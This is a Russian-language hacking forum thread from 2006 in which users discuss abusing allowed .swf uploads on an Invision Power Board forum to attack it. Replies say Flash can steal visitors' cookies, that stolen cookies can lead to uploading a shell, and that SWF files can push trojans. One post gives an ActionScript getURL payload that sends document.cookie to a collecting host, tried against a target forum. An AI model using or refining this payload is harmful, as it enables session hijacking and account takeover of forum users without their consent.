Форумы Загрузка файлов с розширение .swf, в форуме Invision Power Board

Discussion in 'Уязвимости CMS/форумов' started by N0n$e№Z, 28 Nov 2006.

  1. N0n$e№Z

    N0n$e№Z Member

    Joined:
    27 Nov 2006
    Messages:
    16
    Likes Received:
    6
    Reputations:
    0
    Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!
     
    #1 N0n$e№Z, 28 Nov 2006
    Last edited by a moderator: 29 Nov 2006
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Флеш выполняется в браузере на стороне клиента.
     
  3. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    есть возможность только стырить куки=)
     
  4. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    В свф шелл ты не зальешь :)

    розширение (С)

    ггг.
     
  5. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    ИМХО ... сможеш сперетьь только куки!
     
  6. Zeratull

    Zeratull Elder - Старейшина

    Joined:
    22 Nov 2006
    Messages:
    51
    Likes Received:
    6
    Reputations:
    5
    вроде читал на ибресурс что через swf большая дыра открывается, поэтому его обычно и не разрешают на форумах.

    сейчас вот хотел найти эту тему где читал, что то не нашёл:(
     
  7. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90

    хорошо бы)))

    Автору: имея булочки, мона залить шеллу
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Возможно чтение произвольных файлов через Action Script.
     
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Читать тут.
    http://www.flasher.ru/
     
  10. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    кстати, на испутыемом форуме не могу залить аватар в флехе, на локалхосте такой же форум, и всё разрешено и тоже не грузит.
    Загружаю через инет - на испытуемый залилось, но не играет, а на локалхост вылетает апач :)

    Кстати, какую правильно строку надо?

    getURL("javascript:document.src=\"http://localhost/s/s.gif?\"+document.cookie")

    не работает, в ИЕ выскакиваеи попапом.
     
  11. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    я ж писал тему про СВФ= ищем и читаем=) а так через СВФ можно на комп трои грузить или еще какуюнить гадость делать=)
    Куки тырить - тоже неплохо=)